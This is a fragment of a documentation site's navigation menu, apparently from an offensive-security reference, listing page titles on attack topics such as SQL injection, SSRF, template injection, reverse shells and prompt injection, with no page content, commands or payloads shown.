||
|
||
<span class="md-ellipsis">
|
||
Network Discovery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Pivoting Techniques
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Office - Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Powershell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Reverse Shell Cheat Sheet
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Management & CI/CD Compromise
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Reports
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subdomains Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - AMSI Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - DPAPI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Defenses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Download and execute methods
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Mimikatz
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Using credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_37">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
NoSQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../NoSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_38">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
OAuth Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ORM Leak
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_39">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
ORM Leak
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../ORM%20Leak/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ORM Leak
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open Redirect
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_40">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Open Redirect
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Open%20Redirect/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open URL Redirect
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_41">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prompt Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Prompt%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_42">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prototype Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Prototype%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_43">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Race Condition
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Race%20Condition/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Regular Expression
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_44">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Regular Expression
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Regular%20Expression/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Regular Expression
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_45">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Request Smuggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Request%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_46">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SAML Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SAML%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_47">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google BigQuery SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cassandra Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DB2 Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MySQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Oracle SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PostgreSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQLite Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQLmap
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_48">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Include Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Request Forgery
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_49">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Request Forgery
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server-Side Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SSRF Advanced Exploitation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SSRF URL for Cloud Instances
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_50">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Template Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - ASP.NET
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Java
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - JavaScript
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - PHP
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Python
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Ruby
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Tabnabbing
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Tabnabbing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_52">
|
||
